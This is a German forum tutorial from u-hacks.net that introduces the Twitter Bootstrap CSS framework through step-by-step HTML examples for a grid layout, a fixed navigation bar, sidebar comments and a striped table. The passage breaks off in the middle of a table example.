			<content:encoded><![CDATA[<div><div style="text-align: center;"><img src="http://u-hacks.net/attachment.php?attachmentid=247&amp;stc=1&amp;d=1347555339" border="0" alt="" /></div><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<i>Outcome</i> <input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=246&amp;stc=1&amp;d=1347555133" border="0" alt="" /><br />

</div>
</div>
</div><br />
<br />
Moin!<br />
<br />
Nun einmal ein Tutorial welches ich kurz geschrieben habe, um Einsteigern einen kleinen Einblick in Bootstrap zu geben. Bootstrap ist ein CSS Framework um CSS Designs zu erstellen. Es bietet mehrspaltige Contents, vordefinierte Buttons und vieles mehr - nützlich für Administrationspanels, eigene kleine Projekte oder sonst etwas.<br />
<br />
Das Tutorial gibt euch einen kleinen Einstieg in das ganze und erklärt die Grundlagen und das Verständnis von Bootstrap an einem kleinen Beispiel. Für CSS Einsteiger ist das ganze nicht so ganz geeignet, man sollte schon mit den gängigen Techniken vertraut sein.<br />
<br />
Die Webseite von Bootstrap findet ihr hier: <a href="http://twitter.github.com/bootstrap/index.html" target="_blank" rel="nofollow">Twitter Bootstrap</a>.<br />
<br />
Wie man sehen kann, taucht bereits der Name Twitter drinnen auf. Das hat den Grund das Bootstrap aus dem Designtechnischen Teil von Twitter stammt. Quasi genau dieses Framework (natürlich in etwas abgewandelter Form) nutzt Twitter ebenfalls, wodurch man mit der Zeit einige Ähnlichkeiten feststellen wird.<br />
<br />
Fangen wir an:<br />
Zuerst müssen wir uns das Bootstrap Framework herunterladen und in den Ordner verschieben, den Direktlink findet ihr hier: <a href="http://twitter.github.com/bootstrap/assets/bootstrap.zip" target="_blank" rel="nofollow">http://twitter.github.com/bootstrap/.../bootstrap.zip</a> .<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;!DOCTYPE html&gt;</span><br />
<span style="color:#000080">&lt;html&gt;</span><br />
<span style="color:#000080">&lt;head&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;title&gt;</span> U-Hacks Bootstrap Beispiel <span style="color:#000080">&lt;/title&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;link rel=<span style="color:#0000FF">&quot;stylesheet&quot;</span> href=<span style="color:#0000FF">&quot;bootstrap.min.css&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;/head&gt;</span><br />
<span style="color:#000080">&lt;body&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h1&gt;</span> Meine Beispielseite <span style="color:#000080">&lt;/h1&gt;</span><br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div>Nun haben wir unser HTML Grundgerüst was mit der eingebundenen CSS Datei.  Wir nehmen hierbei die min.css. Das ganze wurde von Javascript abgeguckt, wo quasi alles formatiert und aneinandergequetscht wird. Die Datei bootstrap.css ist noch für normale menschen gut lesbar.<br />
<br />
Als nächstes eine kleine Erklärung zu dem sogenannten &quot;Grid-Design&quot;. Bootstrap hat von sich aus ein 12-Spalten-Layout. Heißt, mehr als 12 Spalten gibts nicht. Dabei hat jede Spalte eine bestimmte Breite zugewiesen.<br />
<br />
Dieses komplette &quot;Grid-Layout&quot; hat eine feste Breite. D.h. dies geht nie über den kompletten Bildschirm, glaube das waren 976px. Nun, den kompletten Content packen wir in die Klasse &quot;container&quot;. In diese fügen wir eine neue Reihe von Content ein und packen dort unser Grid-Layout rein. Ein Beispiel:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;!DOCTYPE html&gt;</span><br />
<span style="color:#000080">&lt;html&gt;</span><br />
<span style="color:#000080">&lt;head&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;title&gt;</span>U-Hacks Bootstrap Beispiel<span style="color:#000080">&lt;/title&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;link rel=<span style="color:#0000FF">&quot;stylesheet&quot;</span> href=<span style="color:#0000FF">&quot;bootstrap.min.css&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;/head&gt;</span><br />
<span style="color:#000080">&lt;body&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h1&gt;</span> Meine Beispielseite <span style="color:#000080">&lt;/h1&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div>Damit würden wir uns nun aber das komplette eigentliche Layout von Bootstrap zerschießen, da wir nun einfach den Content in eine Row gepackt haben. Um nun die komplette Breite des Contents nutzen zu können, holen wir uns aus diesem Grund die Hilfsklasse &quot;span12&quot;. Diese sagt, dass 12-Spalten des Layouts mit Content besetzt werden sollen. Es gibt dementsprechend die spans 1-12, wobei aber alle span Zahlen maximal 12 ergeben dürfen (span8 und span6 geht daher beispielsweise nicht!).<br />
<br />
Wir nehmen nun mal auf einer Seite eine Sidebar und auf der anderen Seite den Content an sich, wodurch wir einmal 8 nehmen und einmal 4.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;!DOCTYPE html&gt;</span><br />
<span style="color:#000080">&lt;html&gt;</span><br />
<span style="color:#000080">&lt;head&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;title&gt;</span>U-Hacks Bootstrap Beispiel<span style="color:#000080">&lt;/title&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;link rel=<span style="color:#0000FF">&quot;stylesheet&quot;</span> href=<span style="color:#0000FF">&quot;bootstrap.min.css&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;/head&gt;</span><br />
<span style="color:#000080">&lt;body&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span>Sidebar<span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span8&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span>Content<span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div>Theoretisch haben wir unser 2-Spalten Layout nun schon fertig. Alles was wir gemacht haben, das ganze systematisch aufgeteilt damit wir damit weiterarbeiten können.<br />
<br />
Dem ganzen wollen wir auch nun noch eine Navigation hinzufügen, damit wir die Möglichkeit haben, den Benutzer auf mehrere Seiten zu leiten. Das ganze machen wir mit den Klassen &quot;navbar&quot; und &quot;navbar-inner&quot;.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar-inner&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Da wir das ganze nicht mit in den Content haben wollen sondern oben fixiert, können wir der Navigation noch die Klasse &quot;navbar-fixed-top&quot; mitgeben. Dann bleibt diese dauerhaft oben. Dann wollen wir noch anstatt einer weißen eine schwarze Navigation damit wir diese auch vom eigentlichen Content unterscheiden können, was wir mithilfe von &quot;navbar-inverse&quot; hinkriegen. Am Ende, ohne irgendwelche Menüpunkte hinzugefügt zu haben, sollte der Code dann so aussehen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar navbar-fixed-top navbar-inverse&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar-inner&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>.. und schon haben wir eine funktionsfähige schwarze Navigationsleiste am oberen Bildschirmrand. In dieses Konstrukt bauen wir nun einfach eine kleine &lt;ul&gt; mit der Klasse &quot;nav&quot; ein und &lt;li&gt;'s mit den Menüpunkt-Links. Bootstrap erstellt uns dann automatisch unsere Navigation. Beispiel:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar navbar-fixed-top navbar-inverse&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar-inner&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;ul class=<span style="color:#0000FF">&quot;nav&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Startseite<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Profil<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Unterseiten<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Kommentare<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/ul&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Nun wollen wir noch unseren Namen quasi als &quot;Logo&quot;  reinpacken. Auch hierfür bietet Boostrap eine direkte Klasse: brand. Damit können wir einen etwas größeren, auffälligen Link in der Navigation anbringen. Zusätzlich verschieben wir das ganze wieder in die Mitte (976px zentriert), mithilfe der Container Klasse die wir in das navbar-inner stecken (denn wir wollen ja nur die &lt;ul&gt; Elemente verschieben, nicht die Navigation!).<br />
<br />
Das ganze sieht dann so aus:<br />
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=243&amp;stc=1&amp;d=1347550532" border="0" alt="" /><br />
<br />
Als letztes kleines extra Packen wir dann noch eine Suchbox hinzu. Das ganze regeln wir über ein einfaches Formular welches die Klasse &quot;navbar-search&quot; zugewiesen kriegt. Optional packe ich nun noch die Hilfsklasse &quot;pull-right&quot; dazu, welches in etwa das gleiche wie float:right ist, um die Suchbox ganz rechts an den Rand von der Navigation zu verschieben.<br />
<br />
Unsere Navigation sollte am Ende dann so aussehen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar navbar-fixed-top navbar-inverse&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;navbar-inner&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008000">&lt;a class=<span style="color:#0000FF">&quot;brand&quot;</span> href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>U-Hacks<span style="color:#008000">&lt;/a&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;ul class=<span style="color:#0000FF">&quot;nav&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Startseite<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Profil<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Unterseiten<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;li&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span>&gt;</span>Kommentare<span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/li&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/ul&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;form class=<span style="color:#0000FF">&quot;navbar-search pull-right&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;text&quot;</span> class=<span style="color:#0000FF">&quot;search-query&quot;</span> placeholder=<span style="color:#0000FF">&quot;Suchbegriff&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;/form&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Nun haben wir das durch. Wir haben nun aber ein Problem: Unser Content, den wir vorher gesetzt haben, ist verschwunden. Dazu setzen wir oben im &lt;head&gt; Teil einfach ein padding-top von 60px für den Body, damit der Content an sich nach unten verschoben wird. Die Navigation wird davon ja nicht beeinflusst, da sie fest positioniert ist.<br />
<br />
Nun stellen wir uns vor das ganze sei unser Admin Panel und in unserer Linken Leiste werden die letzten 3 Kommentare von Usern angezeigt. Dafür benutzen wir einmal die Klasse &quot;well&quot; welches ein einfaches Feld erstellt welches sich vom weißen Hintergrund abhebt. Danach nutzen wir einmal &lt;b&gt; und ein paar blockquotes um die Kommentare zu formatieren. Das ganze packen wir dann in die Sidebar:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span> Kommentare <span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;well&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;b&gt;</span>Benutzer am 17.03.2005:<span style="color:#000080">&lt;/b&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;b&gt;</span>Benutzer am 17.03.2005:<span style="color:#000080">&lt;/b&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;b&gt;</span>Benutzer am 17.03.2005:<span style="color:#000080">&lt;/b&gt;</span> <span style="color:#000080">&lt;br /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;blockquote&gt;</span>Eine Beispielzitierung die gar nichts ausmacht aber trotzdem voll cool aussieht.<span style="color:#000080">&lt;/blockquote&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>Dem Benutzer verpassen wir nun noch die Klasse &quot;label label-inverse&quot;. Damit haben wir noch eine kleine Abhebung vom Text und das ganze sieht schon etwas besser aus, wie ein paar Kommentare :)<br />
<br />
Beispiel:<br />
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=244&amp;stc=1&amp;d=1347553475" border="0" alt="" /><br />
<br />
Dann packen wir eine ganz normale Tabelle mit ein paar Daten dort rein. Die Klasse für tabellen ist table. Optional fügen wir noch &quot;table-striped&quot; mit hinzu, um jede 2. Zeile andersfarbig darstellen zu lassen.<br />
<br />
Damit würde sich folgender Tag ergeben:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#008080">&lt;table class=<span style="color:#0000FF">&quot;table table-striped&quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;/table&gt;</span></code><hr />
</div>Darin können wir nun die ganz normalen &lt;tr&gt;'s und &lt;td&gt;' verwenden und diese werden automatisch von Bootstrap konvertiert. Nun fügen wir noch Testweise ein paar Buttons in die Tabelle ein (die klasse hierfür lautet &quot;btn&quot;) und verschieben die noch einmal mit der Hilfsklasse pull-right.<br />
<br />
Das ganze könnte dann so aussehen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span8&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;h3&gt;</span>Content<span style="color:#000080">&lt;/h3&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;table class=<span style="color:#0000FF">&quot;table table-striped&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Artikel-ID<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Name des Artikels<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Author<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;th&gt;</span>Aktionen<span style="color:#008080">&lt;/th&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#1<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#2<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
